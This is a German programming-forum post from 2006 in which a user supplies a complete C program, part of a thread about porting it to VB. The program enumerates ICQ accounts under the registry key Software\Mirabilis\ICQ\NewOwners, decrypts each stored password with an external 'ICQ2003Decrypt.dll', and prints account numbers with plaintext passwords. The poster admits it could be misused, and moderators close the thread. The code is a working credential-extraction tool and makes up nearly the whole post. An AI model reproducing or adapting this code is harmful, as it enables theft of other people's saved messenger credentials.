| |

C# Ecke Re: C to VB | |  | Autor: Gamepad | Datum: 25.07.06 13:31 |
| Naja von mir aus:
#include "stdio.h"
#include <windows.h>
int main()
{
char drv[5];
char cBuf[128];
GetWindowsDirectory(cBuf, 128);
drv[0]=cBuf[0];
drv[1]=cBuf[1];
drv[2]=cBuf[2];
drv[3]=NULL;
char deneme2[15][10];
char KeyName[MAX_PATH];
HKEY Handle;
LPDWORD sName = new DWORD;
LPDWORD sClass = new DWORD;
*sName = *sClass = 50;
DWORD dwIndex = 0;
Handle=HKEY_CURRENT_USER;
RegOpenKeyEx(Handle, ( LPCTSTR )"Software\\Mirabilis\\ICQ\\NewOwners\\",0,KEY_ALL_ACCESS,&Handle);
while(!RegEnumKeyEx(Handle,dwIndex,KeyName,sName,NULL,NULL,NULL,NULL))
{
dwIndex++;
strcpy(deneme2[dwIndex-1],KeyName);
}
char NameBuffer[MAX_PATH];
char SysNameBuffer[MAX_PATH];
DWORD VSNumber;
DWORD MCLength;
DWORD FileSF;
GetVolumeInformation(drv,NameBuffer, sizeof(NameBuffer),&VSNumber,&MCLength,&FileSF,SysNameBuffer,sizeof(SysNameBuffer));
HINSTANCE hLib = LoadLibraryA("ICQ2003Decrypt.dll");
if (!hLib) return ;
void (WINAPI *lpfEnumProcesses)( unsigned int dwVolumeSerial, void * lpszMainLocation, unsigned int dwMainLocationLen,char *lpszUIN );
lpfEnumProcesses = (void(WINAPI *)(unsigned int,void *,unsigned int,char *lpszUIN)) GetProcAddress( hLib, "DecryptPass" ) ;
int yeter;
BYTE Buffer[16];
int bufsiz;
char ee[MAX_PATH]={'d','d',NULL};
HKEY Handle2=HKEY_CURRENT_USER;
for(yeter=0;yeter<dwIndex;yeter++)
{
sprintf(ee,"Software\\Mirabilis\\ICQ\\NewOwners\\%s",deneme2[yeter]);
HKEY hkeyresult;
char dats[MAX_PATH];
DWORD size=800;
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )ee,0,KEY_ALL_ACCESS, &hkeyresult );
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"MainLocation" , 0, 0, Buffer, &size )!=ERROR_SUCCESS){
RegCloseKey(hkeyresult);
return;
}
RegCloseKey(hkeyresult);
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )ee,0,KEY_ALL_ACCESS, &hkeyresult );
bufsiz=size;
if(bufsiz==0)
bufsiz=16;
lpfEnumProcesses(VSNumber,Buffer,bufsiz,deneme2[yeter]);
printf("Uin:%s Password:%s\n",deneme2[yeter],(char*)Buffer);
}
return;
}
Wollt ihn net öffentlich rienstellen weil am ihn evtl. ja auch Zweckentfremden kann |  |
 | Thread wurde geschlossen! Dieser Thread wurde von den Moderatoren geschlossen, d.h. es können keine neuen Beiträge mehr gepostet werden! |
  |
|
sevOutBar 4.0 
Vertikale Menüleisten á la Outlook
Erstellen von Outlook ähnlichen Benutzer- interfaces - mit beliebig vielen Gruppen und Symboleinträgen. Moderner OfficeXP-Style mit Farbverläufen, Balloon-Tips, u.v.m. Weitere InfosTipp des Monats Oktober 2025 Matthias KozlowskiUmlaute konvertierenErsetzt die Umlaute in einer Zeichenkette durch die entsprechenden Doppelbuchstaben (aus ä wird ae, usw.) TOP Entwickler-Paket 
TOP-Preis!!
Mit der Developer CD erhalten Sie insgesamt 24 Entwickler- komponenten und Windows-DLLs. Die Einzelkomponenten haben einen Gesamtwert von 1866.50 EUR...
Jetzt nur 979,00 EURWeitere Infos
|